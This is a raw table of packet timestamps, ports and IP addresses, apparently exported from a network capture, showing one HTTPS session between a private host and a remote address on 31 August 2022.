Aug 31, 2022 14:29:00.007708073 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.007730007 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.008059978 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.008080006 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.008147955 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.008163929 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.008196115 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.009259939 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.009282112 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.009417057 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.009438992 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.009566069 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.009586096 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.009654045 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.009668112 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.009685993 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.009840012 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.009857893 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.009947062 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.009963989 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.009979010 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.010636091 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.010654926 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.010766983 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.010792017 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.010823965 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.011293888 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.011312008 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.011416912 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.011442900 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.011464119 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.011595964 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.011615038 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.011682987 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.011703968 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.011743069 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.012171030 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.012190104 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.012270927 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.012315035 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.012332916 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.012840986 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.012861013 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.012942076 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.012967110 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.012983084 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.013380051 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.013400078 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.013472080 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.013484955 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.013533115 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.013710976 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.013735056 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.013803959 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.013823986 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.013850927 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.014380932 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.014400005 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.014489889 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.014504910 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.014545918 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.015141010 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.015161991 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.015249968 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.041182041 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.041208029 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.041234016 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.041325092 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.041342020 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.041366100 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.041384935 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.041393042 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.041440964 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.041450024 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.041462898 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.041481972 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.041493893 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.041516066 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.041524887 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.041557074 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.041560888 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.041574001 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.041585922 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.041595936 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.041646957 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.041702032 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.041712999 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.041743040 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.041750908 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.041764975 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.041817904 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.041830063 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.041876078 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.041886091 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.041907072 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.041929960 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.041938066 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.041949034 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.041986942 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.041997910 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042030096 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.042038918 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042051077 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.042056084 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042098045 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.042105913 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042130947 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042133093 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.042150974 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042157888 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.042167902 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042195082 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.042227030 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042228937 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.042239904 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042284966 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042296886 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.042320967 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042350054 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042366982 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042371035 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.042385101 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.042393923 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042433023 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.042444944 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042454004 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.042464018 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042494059 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042506933 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.042520046 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.042529106 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042542934 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042561054 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042567015 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.042578936 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.042586088 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042620897 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.042633057 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042650938 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042653084 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.042661905 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042700052 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.042731047 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.042733908 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042745113 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042783022 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042800903 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.042814016 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042835951 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042850971 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.042851925 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042869091 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.042876959 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042903900 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.042929888 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042936087 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.042944908 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042969942 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.042988062 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.042998075 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043013096 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043026924 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.043030977 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043044090 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.043051958 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043102026 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043119907 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043147087 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.043155909 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.043168068 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043175936 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.043179989 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.043198109 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043207884 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.043215036 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043240070 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043255091 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.043263912 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.043271065 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043289900 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043302059 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.043312073 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043332100 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.043339968 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043373108 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.043387890 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.043395996 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043406010 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.043412924 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043447018 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043458939 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.043481112 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.043487072 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043498039 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043521881 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.043524981 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043554068 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.043562889 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043577909 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043582916 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.043595076 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043623924 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.043629885 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043648005 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.043668032 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043684006 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043684959 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.043693066 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043723106 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.043764114 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.043777943 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043797016 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.043840885 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.043855906 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.251395941 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.279644966 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.279676914 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.279767990 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.279786110 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.279846907 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.289032936 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.289063931 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.289092064 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.289161921 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.289185047 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.289202929 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.289222956 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.289262056 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.289282084 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.289315939 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.289330959 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.289345026 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.289401054 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.289419889 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.289450884 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.289463997 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.289474010 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.289511919 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.289525032 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.289562941 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.289572001 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.289608002 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.289622068 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.289633036 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.289639950 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.289648056 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.289668083 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.289675951 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.289696932 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.289735079 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.289740086 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.289781094 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.289783955 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.289814949 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.289834976 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.289885998 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.289891958 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.289912939 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.289925098 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.289948940 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.289964914 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.289978027 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.289988041 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.290014029 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.290015936 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.290047884 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.290059090 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.290082932 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.290086985 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.290117025 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.290128946 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.290153027 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.290164948 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.290183067 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.290194035 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.290220022 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.290227890 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.290246010 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.290254116 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.290278912 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.290297985 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.290311098 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.290321112 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.290342093 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.290348053 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.290374994 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.290386915 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.290415049 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.290426970 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.290445089 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.290455103 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.290478945 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.290488005 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.290507078 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.290518045 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.290543079 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.290556908 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.290576935 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.290587902 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.290611982 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.290616035 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.290644884 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.290656090 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.290685892 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.290724039 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.290735960 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.290741920 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.290756941 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.290765047 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.290812969 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.290832996 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.290852070 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.290935993 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.291115046 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.291167021 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.291208029 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.291220903 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.291238070 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.291279078 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.291321993 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.291404009 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.291404963 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.291430950 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.291480064 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.291492939 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.291578054 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.291627884 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.291676044 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.291690111 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.291733980 CEST	49745	443	192.168.2.4	172.67.202.54
Aug 31, 2022 14:29:00.291801929 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.291852951 CEST	443	49745	172.67.202.54	192.168.2.4
Aug 31, 2022 14:29:00.291876078 CEST	49745	443	192.168.2.4	172.67.202.54
